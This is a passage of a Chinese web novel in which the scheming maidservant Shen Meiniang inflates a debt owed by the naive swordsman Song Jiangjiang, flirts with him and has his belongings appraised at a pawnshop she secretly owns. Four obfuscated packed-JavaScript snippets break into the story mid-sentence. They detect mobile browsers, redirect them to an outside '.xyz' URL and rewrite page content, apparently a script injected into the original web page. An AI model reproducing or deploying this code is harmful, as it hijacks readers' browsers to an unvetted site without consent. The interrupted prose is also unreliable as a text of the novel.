“听不懂又怎么了嘛。”沈美娘从不觉得自己没理,“我没读过书,听不懂不是很正常吗?你以后不许说这些词,免得到时候我还得猜意思。” “你没读过书?”宋江江惊呼。 没读过书怎么呢?天底下不识字的白字先生才是最多的。 沈美娘越发好奇这小剑客打哪里来的。 该不会从前都没出过家门吧? “你这小剑客当真蠢笨——”沈美娘双手撑着桌子,凑到宋江江眼前,“我就是个奴婢,还没成奴婢前呢,也就是个无父无母的农女。我要是读过书才是奇了怪了。” 宋江江愣愣点头,看向她的目光多了几分怜悯。 沈美娘瞧他这呆头呆脑的样子,嘴角的笑意愈深。 不管这小剑客打哪来的,人倒是十分有趣。 宋江江却是呆呆地眨了眨眼,目光落在少女的红袖上:“你袖子被茶打湿了。” “坏了——我的衣裳!”沈美娘很小心地拂去袖上的茶水,“这可是我最喜欢的几件衣裳了!” “都怪你!”沈美娘轻呵了一声宋江江,“都怪你不早些提醒我!” 沈美娘将身上的大袖衫脱下,急忙交给宝儿让她拿去晾晾。 “你!”宋江江急忙背过身去。 他没想到沈美娘会说脱就脱,只看了沈美娘襦裙外露出的雪白藕臂一眼,就臊红了脸不敢多看。 沈美娘低头瞧了眼自己。 她老老实实穿了衣裳啊,要不是为了应付今早那些人,她平常都喜欢这么穿的。 南州热死了,谁有事没事还在外面套件又大又碍事的衫子啊。 “你们上京人不这么穿吗?”沈美娘问。 她听那些走南闯北的商人不是说,上京的夏天也不凉快嘛。 “倒是也有,可是哪家娘子会……会像你这样在外男面前这样。”宋江江涨红脸。 沈美娘捋了捋袖子挡住露出来的小臂和手腕,赞同道:“你说的有道理,确实是不该在外男面前如此。” “不过嘛,谁说你是外男了。” 宋江江皱眉:“你什么意思?” “青词。”沈美娘唤了一声,“告诉他,他现在欠我多少。” 青词拨弄手中的算盘:“草药一副三十文钱,到你病好至少需要六副药,合计一百八十文。” “你弄坏了沈娘子的风铃,至少得赔一百文。” “我那是为了救沈娘子,迫不得已才拆了那风铃,不是有心的。”宋江江辩解。 “好吧,那我风铃只算你八十文。”沈美娘颇为“好说话”的样子。 宋江江刚松了口气,就听到沈美娘继续道:“我昨夜把你运回来,手都弄疼了,你瞧——” 沈美娘晃了晃自己的手,上面确实有一两处有红印子的地方。 “这个恩情和我出的力至少得值十两银子!”沈美娘道。 “哪里有那么多?” “原来公子觉得不值吗?”沈美娘说哭就哭,眼泪一颗一颗像断了线的珠帘:“难道公子的命,加上我昨夜受的苦连十两银子都不值吗?” “我不是这个意思!那好,十两就十两。”宋江江只好应下。 “还有,”沈美娘擦了擦眼泪,继续和宋江江掰扯:“青词那么好的医术熬了整夜替你配药,怎么也得值十两银子吧?” “这会不会太……”宋江江“太多”都没来得及说出口,就看到沈美娘又作势要哭只得改口,“也行。” 沈美娘:“还有……” “还有啊?”宋江江有些坐立难安。 “那当然了,宝儿也忙前忙后跑了整晚,怎么也得值五两,不,怎么也得值十两银子吧。” 宋江江沉默了一下:“好。” “所以,你现在合计欠我家娘子三十两白银又二百六十文钱。”青词伸出手,“宋公子,请给钱。” 宋江江听到说给钱的话低下头,声如蚊蚋:“我、我……” “是没钱吗?”沈美娘善解人意地笑开:“如果钱不够的话,拿别的东西来还也是可以的。” 宋江江:“什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈美娘:“‘君子一言,驷马难追’,这可是宋公子自己说的哦。” 宋江江的嘴开开合合,最后还是一狠心点了头:“是。” “那就这么说定了。”沈美娘粲然一笑,“宋公子记好了,以后你就是青词远方来投奔的亲戚了,青词是夔州人,你以后就也是夔州人啦。” “谁问起都千万不要说漏嘴了。”沈美娘叮嘱他。 她向叶司马编了宋江江是青词远亲,就得把这个谎言圆回去。 宋江江点头。 他再是天真,如今也弄明白了沈美娘绝不是她面上那么柔弱可欺。 她才不是什么娇花,而是能趁人不注意,就把人不知不觉蚕食掉的绞丝子。 “宝儿,我那衣裳不是那么晒的,你别晒坏了!”沈美娘冲院子里道。 沈美娘如今已哄得宋江江八年都离不开,眼里就只有远处的华美衣裳。 “哎呀,我自己来算了。”沈美娘跑到院子里,教宝儿该怎么晒她那件衣裳。 等她弄好一切,心情颇为愉悦,蹦蹦跳跳进了屋。 宋江江欲言又止地看了看沈美娘。 她腿上不是还有伤吗? 虽然他知道眼前的女人不简单,但宋江江还是拗不过自己的良心,善意提醒:“我看你腿上不是有伤吗?还是让青词给你瞧瞧吧。” 今早,他就被沈美娘腿上那触目惊心的淤青伤痕吓到才出手的,结果这人怎么还是到处乱跑啊。 实在是太不知道珍惜自己的身体了。 “什么?”沈美娘没反应过来。 宋江江指了指她的小腿。 他觉得指着未婚女子的腿有些逾矩,但到底还是好心:“腿受伤了,还是不要到处乱跑比较好吧。” “你说这个啊——”沈美娘若有所思。 她撩起裙摆的一角,用沾了茶水的绣帕,在那些触目惊心的“淤青”上用力一擦,小腿就恢复如初。 “你看,是假的啦!这可是我特地花了一个时辰画的哦。”沈美娘看向宋江江,眉梢轻挑,“厉害吧?” 5. 第5章 宋江江根本没把沈美娘后面的话听进去。 他脑中只剩一片空白。 刚才沈美娘露手臂还能说是时下风气开放,可是他刚才都看到沈美娘的小腿了。 这人怎么、怎么这样啊? 沈美娘没注意宋江江奇怪的神情,只想着自己没得到赞美,不依不饶追问:“你就说我厉不厉害嘛?” “哎,你,我……”宋江江红着脸半天没反应过来,“……你真厉害。” 沈美娘得了赞美,满意地笑开:“那当然,我可是沈美娘,我不厉害谁厉害。” 她展开自己那把折扇,潇洒自在地扇着风。 清风拂过她鬓边的碎发,像一朵春风中的牡丹,招摇随性地展示自己的美。 宋江江匆忙低下头,脸更红了几分。 “宋江江你脸这么红,是不舒服吗?”沈美娘贴心又温柔地问。 “没有、没有。” 宋江江连忙摇头,头却埋得更深了几分,耳朵尖也更红了。 “哦——既然如此,宋护院还是早些去开始干活吧。”沈美娘指了指厨房,“柴火快没了,你去砍点柴吧。” “好!”宋江江如蒙大赦,出门时还差点撞到门框。 沈美娘看他冒冒失失的样子,不自觉勾了勾唇。 真有趣。 “沈美娘,你给那小子下迷魂汤呢?”宝儿不解。 她刚才去厨房准备晚饭,发现那小子正在劈柴。 宝儿想起他昨夜血肉模糊的样子,心里不忍,说是让他歇着去。 结果那小子居然连连摆手,说什么“伤的是腿不碍手”的话。 “迷魂汤?”沈美娘咂着这三个字,片刻后笑开:“确实是迷魂汤,我可是花钱救了他的命,金子银子不就是最好的迷魂汤。” 即使伺候了沈美娘多年,宝儿还是被沈美娘无耻到了。 “沈美娘你没救了,你这辈子就掉钱眼里了。”宝儿恨恨道。 沈美娘还想开口,宝儿先她一步道:“别和我说什么钱眼好,掉进去能有花不完的钱。” “不是啊,”沈美娘轻笑,“我是想说,感谢夸奖。” 掉钱眼里,还有这等好事? — 宋江江的右腿确实伤得深,但他还是坚持瘸着条腿进进出出干活。 砍柴、打水这种力气活自不必说,这小子居然连捣衣、缝衣这种活都做得捻熟于心。 沈美娘瞧宋江江晒完整个院的衣裳,又坐在向阳处缝补他那件破了好几个口子的绸制圆领袍。 他的动作不像是第一次缝缝补补。 沈美娘原本觉得宋江江身份肯定不简单。 可如今却不得不相信这人兴许是真没什么来头。 那些官宦之家就算会让子孙习武强身,也是绝对不可能让子孙做什么粗活的。 “沈娘子。”宋江江收好针脚,将补好的袍子递给沈美娘,“这件衣裳应该能值些钱,你可以把它当了换些钱。” “好。”沈美娘应下。 这样正好比她拿之前捡的碎绸布去找人辨认更方便。 这小剑客还是想早点还清欠她的钱离开。 沈美娘注意到宋江江腰畔的玉佩,装作惊讶:“宋少侠不是说遇到了黑店,怎的您还留了个玉佩?” “这块玉佩是我娘留给我的,我素来都是随身佩戴的。那家黑店只是扣住了我装着金银珠宝的包袱。”宋江江道。 “我瞧公子一身好本事,没想到竟也会栽在黑店的手里。”沈美娘故意激这小剑客。 果然,小剑客一听这话就义愤填膺:“还不是因他们在我的饭菜里下了迷药!” “还……”宋江江说着说着就停下了话头。 沈美娘仍追问:“还有什么?” 且不说沈美娘本就是在套话,就说宋江江这话也勾起了她的好奇心。 难不成是以多胜少? 不然以这小剑客的本事和心性,应当也不会生气至此。 宋江江:“那店中有几个被那黑店拐去的姑娘,我打算出钱买下她们……” “哦,原来宋少侠是想英雄救美。你该不会是喜欢上人家了吧?”沈美娘促狭调侃。 她心里却大抵知道这小剑客说的是哪家黑店了。 沈美娘来芙蓉谷这些日子,除了摸清了这里的大路小路,也大概清楚了周围的情况。 “才不是!”宋江江急得站起身,“我是想送她们回家的,那店家却不答应,还想杀我夺财。” “我尝了两三口就察觉出那饭里有东西,我一人倒也能脱身。可我觉着我一走了,那黑店定会怕我报官,不管是找近的人家卖了那些姑娘,还是杀了她们……” 宋江江顿了一下:“我就砍了门板,带那些姑娘一起走了。” “我一个人以少对多,还要护着同行的姑娘。负伤不是再正常不过吗?”宋江江还是想强调他不是弱。 他会输给那些歹人,全赖那些人用不光彩的手段,不然焉能胜他。 沈美娘听完宋江江的话,眼里划过一丝复杂神色。 这小剑客还真是……喜欢多管闲事。 “宋少侠当真是侠肝义胆,实在让奴佩服。”沈美娘像江湖儿女般拱手道。 “我遇上了,自然不可袖手旁观。”宋江江谦虚摆手。 “我只身引开追上来的歹人,也不知那些姑娘如今是否已经归家。”宋江江有些怅然,“待我伤好些,我就去官府报官,定要将那黑店给端了。” “说得对,就要让这些歹人全都去蹲大狱。”沈美娘仿佛也被宋江江说动般跟着附和,“正好我过些时日也要进南州城去,宋少侠不如同我一起?” “好!”宋江江想也没想道。 宋江江听着沈美娘认可他的话,把对沈美娘的戒心全然放下。 “沈娘子,你当真是人美心善。”宋江江不吝赞美。 沈娘子听了他的话也会跟着同情那些姑娘、恨歹人,更没觉得他天真幼稚、不切实际! 沈娘子就是他见过全天下最有善心的好姑娘。 “‘人美心善’?不是和你说不许和我说这些文绉绉的词吗?不过听起倒像是夸人的词。”沈美娘嗔道。 宋江江解释:“人美心善的意思就是说,沈娘子生得好看,心地也好。” “原来如此——我喜欢这个词,人美心善,好词!”沈美娘笑道。 她还从没听到过如此合她心意的夸赞之词。 “还人美心善,小心哪天被她给卖了!” 宝儿正巧路过听到宋江江傻乎乎的话,忍不住拆台。 “我哪里不人美心善呢?”沈美娘反驳。 她跑到宝儿面前,转了个圈,自信地指着自己的脸:“我啊,就是生得好看啊,是柳叶弯眉樱桃口,谁见了我都乐意多瞅。” 宝儿沉默,她和沈美娘早就习惯互相恶心了。 她知道比嘴皮子,就没人能比得过沈美娘,也不自讨没趣。 但宋江江听到这话没有如往日般低头避嫌,反而眼里放光,喜出望外地盯着沈美娘。 “我这双眼睛可好看了。很久以前就有人和我说过,我这双眼那可是‘秋波潋滟’。”沈美娘边说,边向宋江江看了过去。 两人四目相对。 她以为自己会看到宋江江惊慌失措、面红耳赤的好玩模样。 她却没想到,宋江江愣愣地直勾勾地盯着他,若再细看还能发现他的眼眶里有泪水在打转。 “宋少侠你……”沈美娘有些迟疑。 早知道这小剑客脑子不大好使,她也确实有意引诱他,但是也不至于突然如此深情地盯着她吧。 “对不住,我失礼了。”宋江江反应过来,用衣袖擦了擦眼角的泪。 沈美娘见宋江江没事,继续她刚才的话:“至于心善,天可怜见的,宝儿我待你还不够好?我又救了不认识的宋少侠。” “何况,我还愿意收留宋少侠,给他饭吃。”沈美娘走到宋江江拍了拍他的肩道。 宝儿再次被沈美娘的厚颜无耻震惊。 什么叫“收留”? 她都找青词问清楚了,沈美娘明明是扣留宋江江。 把人扣在这里不准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924219|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,这也能算恩情? “你自己说,我是不是对你有恩?”沈美娘睨了宋江江一眼。 宋江江道:“沈娘子十分心善,倘若我若是先遇到了沈娘子便好了,想来便不会丢了钱财。” 沈美娘颇为得意地挑眉:“宝儿,你看吧,宋少侠都这么说了。” “你!”宝儿知道在耍嘴皮子这件事上,她不是沈美娘的对手,悻悻闭了嘴。 她又实在咽不下这口气,就恶狠狠指着宋江江道:“你要是先遇到沈美娘,她照样能给你骗得分文不剩!” 沈美娘好整以暇看着宝儿被气跑,摇头叹气:“年纪小就是沉不住气。” 宋江江却没有回答沈美娘的话。 她偏过头,就看到这小剑客目光沉沉,似乎是有什么心事。 沈美娘眼珠子一转,问:“怎么,你真相信先遇到我,我会把你的东西都骗光啊?” “没有。”宋江江连连摇头,“我知道沈娘子不是这样的人。” 这下愣在原地的人变成了沈美娘。 她抱着手在胸前,将宋江江从头打量到脚,蓦地偏过头笑了—— “我确实从不骗人钱财。” 沈美娘柔柔道:“我看上什么东西,从不需要去骗、去偷、去抢。” 她每说一个字,便离宋江江更近。 直到将对方逼得紧贴廊柱,退无可退时,她才停住脚步,踮起脚端详着宋江江的眼睛。 “骗人钱财是会被报官的,我才没那么笨。” 她仰起头,笑得天真无邪:“我还不如先哄着人,让人喜欢我,再让人上赶着给我送钱。” “你是骗心,让别人心甘情愿把自己的东西都送给你。”宋江江帮沈美娘总结。 心甘情愿? 沈美娘不懂这个词的意思,但稍微联系下前后话,略微思索就明白这是什么意思。 “对!我就是要叫别人心甘情愿给送我钱。”她点头。 她说这些话时没有丝毫心虚,浑身上下都散发出雄心壮志。 宋江江活了十八年从没听过这样的话,更没见过沈美娘这样心思的女人。 沈美娘刚才说的什么“柳叶弯眉”“谁都乐意瞅”,也都是妈妈留给他的书上写着的话。 那会不会……沈美娘其实也不是这里的人。 “沈美娘。”宋江江试探着开口,“你、你是不是有个邻居叫吴老二?” 什么? 沈美娘不解地瞧着宋江江,指了指四周:“宋少侠是糊涂了吧。这儿附近除了咱们院子里这些人,哪来的活人?” 宋江江听到这话,原本满是期望神色的眼睛瞬间黯淡。 但他还像是不死心,追问:“那沈娘子之前的住所,是否有这么个邻居?” 当然没有。 沈美娘从小记性就好,五岁时和村东头的小孩打架的事,她到现在都还记得。 如果真有这么个邻居,她绝不可能忘记名字。 可是…… 沈美娘看宋江江固执询问的样子,又想起对方刚才眼中的期望。 吴老二,应该不是宋江江仇人。 “好像是有这么个邻居,哎呀,不过我记性不好,有些事情也记不大清楚了。”沈美娘顺着宋江江的话道。 她想了想,继续瞎编:“况且奴从前也是农户家,邻家也都是寻常人家。这吴老二上了年纪,有个病痛,或者遇到个天灾人祸,谁也说不准如今怎么了。” “对了!”宋江江喜出望外。 什么‘对了’? 沈美娘默默看着宋江江——难不成还真让她胡诌对呢? 宋江江:“那个吴老二是不是看你一眼就浑身发抖?他会那样就是因为他有疾。” “是是是。”沈美娘连连点头。 还真是叫她给编对了。 宋江江没注意到沈美娘的异样,他完全沉浸在自己可能找到了母亲的同乡这件事。 母亲留下来的漫画和小说果然没说错,被人追杀后被救果然有奇遇。 遇到沈美娘,就是上苍赐给他最大的奇遇! 6. 第6章 沈美娘发现自从她和那小剑客瞎编自己认识什么“吴老二”之后,他看向自己的眼神,总是带着欣喜和好奇。 却也不像男人看喜欢的女人的眼神,沈美娘品了许久,最后才确信宋江江那是看同乡的眼神。 可沈美娘既不是上京人,更不是明州人,也不知道这宋江江怎的会那般看她。 宋江江倒是从那以后似乎更有劲儿干活了。 沈美娘想不清宋江江怎的会将自己认成同乡,但也知道这样也许能长久留下他,就顺着他的话又张口瞎编了许多跟“吴老二”相关的事情。 宋江江生得很好看,眼睛目不转睛又真诚地瞧着她,总是格外认真地听她乱讲。 被他盯得久了,饶是沈美娘都难免有些心虚。 “总之,吴老二就是个看见好看姑娘就走不动道的……咳咳。”沈美娘这日讲着讲着,被宋江江看得心虚咳嗽了两声。 “沈娘子,你喝水。”宋江江递茶水给她。 沈美娘低头喝了一口,发觉不冷不烫正合适,很显然是宋江江早就备好了的。 “是我最近总是缠着沈娘子问些闲事,劳烦沈娘子了。”宋江江不好意思低下头道歉。 他眼里满是憧憬的神色,又斟酌问道:“沈娘子既然知道吴老二,那不知你可知宋……” “咳咳咳。”沈美娘佯装被茶水呛到了猛咳几声。 她打断宋江江追问的话,故意岔开:“喝得太急了,被呛着了。” 宋江江愣愣点头,他身为男子也不好直接碰沈美娘,提议:“沈娘子,可要让青词姑娘给你看看。” “不用不用。”沈美娘急忙拒绝。 她就是演的,这要让青词来看,可不就露馅了。 这小剑客想追问更多的事,可连“吴老二”都是她编的,她哪里还知道什么其他人? “宋少侠,不是前些日子说要去报官,把那些略人的歹人都抓起来吗?”沈美娘故意提起这事。 宋江江:“沈娘子是说这两日可以进南州城去呢!” 果然,经沈美娘这一打岔,宋江江真就忘了原本要追问的事情。 “择日不如撞日,我瞧今日不像要下雨的样子,趁着现在还早,就今日去吧。”沈美娘贴心道。 她起身,在自己的柜子里翻翻找找,最后扒拉出几件男装拿到宋江江身上比比划划。 宋江江不知所措:“沈娘子这是……” “宋少侠既然要去报官,也得好好拾掇拾掇,才不叫那些衙役们看低了你。”沈美娘笑道。 “我……”宋江江想要拒绝,可沈美娘已经继续拿着衣裳在他身上比划,只好点头,“那便多谢沈娘子了。” 沈美娘闻言笑容更绚烂了几分,或许是隔得太近,宋江江都能闻到她身上的脂粉味。 不是什么名贵胭脂水粉,浓得有些呛鼻,但到了沈美娘身上却丝毫不让人讨厌。 甚至让他联想到,春日时,行宫盛放的牡丹,和那醉人的香气。 宋江江醉在浓郁的香气里,他就那样站在原地,呆呆地看着沈美娘拿着衣裳比划的动作。 直到沈美娘纤长的指尖,似有若无划过宋江江的手,他才反应过来。 不能这样,这不合礼法。 宋江江猛地向后退一步,随手捡起一件衣裳,低头不再看沈美娘:“多谢沈娘子,这件就好。” 他拿了衣裳,一瘸一拐又忙不迭离开。 离开时,宋江江还差点撞上给沈美娘送花的宝儿。 “沈美娘,你又欺负人宋少侠!”宝儿把花重重砸在桌上。 “哎哟——毛丫头,找死啊。”沈美娘心疼地捻起桌上的栀子花在鬓边比着,“什么欺负,我瞧那小子挺乐意的。” 沈美娘在几朵花里挑了花型最饱满的一枝,细细剪去枝叶簪到发髻上。 想起刚才宋江江眼中沉迷的神色,她颇为得意道:“你懂什么,我这是在□□和护卫保护咱们呢!” 就叶司马那小气、没出息的老东西,将来把她献给贵人了,肯定是不会送人保护自己的。 沈美娘得多找几个能保护自己的人才是。 “什么打手、什么护卫?沈美娘,你说什么,我怎么听不懂?”宝儿皱眉。 沈美娘调整一下栀子花的位置,对着镜子瞧了又瞧,才分出眼神看宝儿:“你——算了,玩去吧你。” “唉,离了你家娘子我,也不知道你该怎么办。”沈美娘叹气。 像她这般罩着底下人,从不让身边人吃亏的主子可不多见了。 宝儿不服输:“沈美娘!离了我,谁还给你春种牡丹、夏摘栀子啊,你……” 沈美娘没再听宝儿的话,反正她和宝儿斗嘴也是斗习惯了的。 她只是在脑中回想刚才宋江江慌乱而痴迷的眼神。 “应该是动心了吧。”她喃喃。 沈美娘的目光落在自己纤长白皙的手上,指尖似乎还残存着刚才碰到宋江江时温热的触感。 除非这小剑客是个天残,不然肯定是动心了。 “沈美娘,你不是要进城去吗?还走不走?”宝儿数落完沈美娘,想起正事来。 “来了,别催别催!” 沈美娘坐到车板上,宋江江也坐在她旁边。 宝儿坐得靠前驾着车,不舒服地挪了挪位置:“沈美娘,这驴车坐着不舒服!” “驴和板车都是我现找人家赵娘子借的,”沈美娘指了指路上的行人:“忍不了,你就腿着进城去。” “哼。”宝儿哼哼几声,但还是没再多说什么。 芙蓉谷离南州城可不近,真走着去能走两个时辰。 沈美娘抱着自己的裙摆,也不靠着车板上的茅草和芦杆。 宋江江看她这样,有些担心:“沈娘子不靠着休息吗?” “不用。”沈美娘摇头,“我这身衣裳很贵的,我可舍不得把它弄脏弄坏了。” 宋江江听到沈美娘的话也不再劝。 但下一刻,宋江江把怀里的包袱打开,露出他那身华贵的绸衣。 沈美娘看到他将绸衣展开,铺在茅草垛上,又见他细心拂去上头的几根碎叶。 他像是做了件很微不足道的小事,随意道:“沈娘子,你靠会儿吧。” 沈美娘盯着那件和干草垛格格不入的绸衣,长长的眼睫垂下,遮住眼底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少年的声音清脆,还有些青涩,但掷地有声: “你救了我,我知道你是很好的人。至于旁人说的,我一个字都不信。” 他的头似乎是往沈美娘这边偏了偏,却始终没有转过来看她。 沈美娘听了他的话,目光向他看了过去。 风来得恰到好处,将宋江江的衣袂吹得纷飞飘扬。 沈美娘借给他的衣裳有些宽大不合身,却更显出他劲瘦的腰身,还有粗布麻衣下挺直的脊梁。 沈美娘被风吹得眼睛酸涩,眨了眨眼,方浅浅笑开:“我知道了。” 宋江江也没觉得沈美娘这话有什么。 但下一刻,他便觉着肩头一重,熟悉的令人沉醉的香气将他缠绵包裹。 “刚才是逗你的啦。”沈美娘呼出的热气暧昧地打在他脖颈上。 沈美娘蹭了蹭宋江江脖颈,声音柔得能滴出水:“我还没遇到过,看得上的男人呢。” 7. 第7章 沈美娘就是故意说那样的话逗宋江江。 察觉到对方身体猛地绷紧,沈美娘伸手握住他的手,轻柔地揉捏着他的骨节:“不用怕。” “附近没行人。”沈美娘道。 宋江江知道这样不好,但他也不知道为何自己没有推开沈美娘。 他居然就这样任由沈美娘搂着他。 约莫半刻钟后,沈美娘才松开宋江江,她银铃般的笑声传来:“现在有行人了。” 沈美娘理了理袖子,目光从宋江江身上掠过,回想起他刚才乖巧呆滞的样子,越发觉得这个小剑客真是可爱。 剩下的路程,她却没有继续引诱宋江江。 有些事情点到为止就好。 “到啦!”沈美娘从车板上跳下来,接受守城官兵的盘查。 官兵原本语气很是生硬,但看到沈美娘的脸时,语气柔和了许多。 “多谢军爷。”沈美娘笑着感谢。 那官兵看向沈美娘的目光有些慌乱,手忙脚乱让人放行。 宝儿:“沈美娘,你怎么今日不戴帏帽呢?” 时下大燕民风开放,多得是女子抛头露面上街。 但她明明记得沈美娘从前出门都是戴帏帽的——这点倒和她张扬的性子不符。 “之前和叶随私会弄掉了,等会儿去买新的。”沈美娘道。 宋江江听到沈美娘的话,偏过头看了她一眼。 “谁叫叶随之前骚扰我,还害得我被赶出府吃苦,我当然得给他颜色瞧瞧。”沈美娘道。 说完这话,她看宋江江紧握的拳果然松开了。 这小剑客还真是善妒。 等驴车被停好,沈美娘嘱咐宝儿:“我还有事,你自己去坊市里逛逛吧,别玩疯了,酉时前城门口见。” 见宝儿扭捏不走,她故意调笑道:“你不是总是吵着进城吗?怎么现在真进城了,不知道去玩呢?” “我……沈美娘,我想裁新衣裳。”宝儿拽着沈美娘袖口撒娇,“好美娘,你就资助我点钱吧。” “现在知道我的好啦?”沈美娘捏了捏宝儿有些圆润的脸蛋。 沈美娘递给宝儿一粒银子:“好好玩,别忘了答应帮青词带的药材。” 青词不喜欢出门,今日也没有跟着他们进城来,只托宝儿帮她带东西。 “好!”宝儿欢天喜地拿着钱走了。 “宋少侠,你先去报官,我帮你拿去典当,等会儿将钱给你?”沈美娘问。 宋江江没有推拒,将手中装着绸衣的包袱递给沈美娘。 没等沈美娘问,宋江江主动道:“活当,三月内我会去赎。” “好。”沈美娘道。 想不到这小剑客看着像是没出过门的样子,对当东西倒是轻车熟路。 不过就他这瞧着没吃过苦的样子,想来也不会赚钱,恐怕也就靠着当旧日财物过活。 说是要去当铺,但等小剑客一走,沈美娘先去贴告示的地方踮起脚张望了许久。 “这位公子,这上头的告示有没有写什么寻人、悬赏逃犯的?”沈美娘捉住一个瞧着像是读书人的年轻男子问道。 “你……”那书生的语气中原是不耐烦的语气,待看清沈美娘的脸后,眼中却闪过惊艳之色。 他方颇为有礼道:“这位娘子,这上头没有你问的内容。” 沈美娘听到这话不解。 说书先生讲的传奇故事里,那些掉落山崖、陷入险境的达官贵人们,不都该是被仇人通缉的吗? 难不成那小剑客当真没什么来头不成? 沈美娘不甘心追问:“那这上头有没有大官将来南州的消息?像什么宁王、刺史那样的?” “那些事想必不会提前张贴,不过出行时定是会清街戒严的。”书生道。 这还要他说。 沈美娘什么都没问到,笑着说了感谢话,心里却不大高兴。 宋江江要是真没什么特别身份,她岂不是凭白多管闲事了。 她攥紧手里的包袱,快步向熟悉的那家当铺而去。 眼下的情况和说书先生讲的对不上,不过她还有能进一步确认宋江江身份的东西。 赵家当铺的伙计看到沈美娘来了,连忙将他们当铺的掌柜叫了出来。 “赵大郎,你帮我瞧瞧这件东西。”沈美娘将手里的绸衣递过去,也将宋江江的话转告给他。 赵大郎接过绸衣再三检查,才下结论:“东家,这就是件寻常绸衣,最多也就值个七八百文。” “这绸缎上的花纹就没什么讲究?”沈美娘问。 她记得故事里不都是说,贵人们衣服上的花纹都是能体现身份的吗? “东家有所不知,这花纹就是寻常的鸟衔花草纹,时下也流行,倒没听说平头百姓有什么不能用的。”赵大郎道。 谁都能用?岂不是说明宋江江的身份当真没什么疑点。 “还有一物,我拿不来实物,但记得形貌,你帮我看看可是什么别贵贱的东西。”沈美娘让伙计拿来纸笔。 待伙计离开后,她才拼命回想宋江江那块玉佩的样子,缓缓在纸上描出那个像羊又不大像的东西。 沈美娘将纸举起给赵大郎看:“这是块玉雕的玉佩,但雕的是什么我不认识。你帮我好好瞧瞧这是什么东西?” “嘶,”赵大郎盯着那张纸,最后还是无能为力摇头,“东家,这东西我也不认识,不知东家是在何处看到的?” “前不久青词的远房亲戚来投奔她,我瞧着这玉佩有些许好奇,既然你也不认识那便罢了。”沈美娘摆手。 就是这下只能暂且相信宋江江当真是个寻常剑客了。 赵大郎在思索良久后却又道:“不过形状我虽不认识,但这玉的质地我倒可认,东家不若把实物拿来。玉不比金子,除了家风清雅又衣食无忧的官家或是巨商,寻常好人家应是舍不得的。” “那怕是不行了。”沈美娘摇头。 这块玉佩是宋江江他娘亲留给他的,沈美娘做的缺德事不少,但偷拿别人娘亲遗物的事,她还是做不出来的。 赵大郎见沈美娘否了他的提议也不再多嘴,叫伙计取了铜钱,“既然是东家身边丫头青词姑娘的亲戚,小的就免了利钱又添了一百文,共九百文,您收好。” 沈美娘听到这话,打开装着钱的荷包,数了一百二十文递给赵大郎。 她提点赵大郎:“赵大郎,你才是这当铺明面上的东家,你不该给我身边的人贴钱。你当小心谨慎,不暴露我们二人的关系才是。” “不过,你把当铺经营得很好,这锭银子就当奖赏了。”沈美娘打完巴掌立刻给了他甜枣,“我今日还是找你妹妹借的驴车进城。” 赵大郎闻言追问:“阿妹可还好?” “好着了,近来青词去给赵娘子诊了脉,说她的病好多了。”沈美娘道。 赵大郎这才松了口气。 待沈美娘转身离去后,店内的伙计才好奇问:“这位娘子什么来历?掌柜怎的如此恭敬?” 就算是那些读书人来当东西,他都没见他们掌柜的如此尊敬过。 “是我妹妹交好的一位娘子罢了。”赵大郎按沈美娘从前教他的话回道。 也不怪伙计好奇沈美娘。 就连他自己一开始都不知道,沈美娘为何要托自己在这城中开店,还要托她妹妹在芙蓉谷帮忙置办田产。 后来得知沈美娘是贱籍不可自赎的官奴,才明白沈美娘这么做的原因。 这位娘子聪明,又有识人用人的魄力,只可惜身为女子不说,还偏偏是贱籍出身。 终是无根浮萍,难成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924221|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气候。 - 沈美娘办完事还很早,买了顶帏帽戴到头上,就无聊靠在驴车上等那两人。 先回来的是宋江江,沈美娘瞧他满头是汗的样子,促狭道:“宋少侠报个官,怎的把自己弄成这副狼狈模样?” “那些被拐的姑娘们回了家就去报官了,那黑店已经被查封了。”宋江江边说边笑。 他又指了指他背上多出来的一把剑:“我娘留给我的金银财宝都被卖了,官差说还在追查,让我过些时日再来。幸好我这把剑还在。” 沈美娘瞧他这样,忍俊不禁:“这跟你满头大汗有什么关系?” “那衙役说几个姑娘都提到了我,还说他们家人也说要当面感恩我,正准备喊人去知会他们——可我们侠客做好事就是不留名。”宋江江笑道。 他颇为自豪地扬了扬头,用来束发的红绳跟着一晃:“‘事了拂衣去,深藏功与名’嘛,我趁着那官差不注意就跑了。” 原来他这满头大汗是这样来的。 宋江江的眼睛本就明亮,夏日的明光照在他眼里,更是叫人移不开眼。 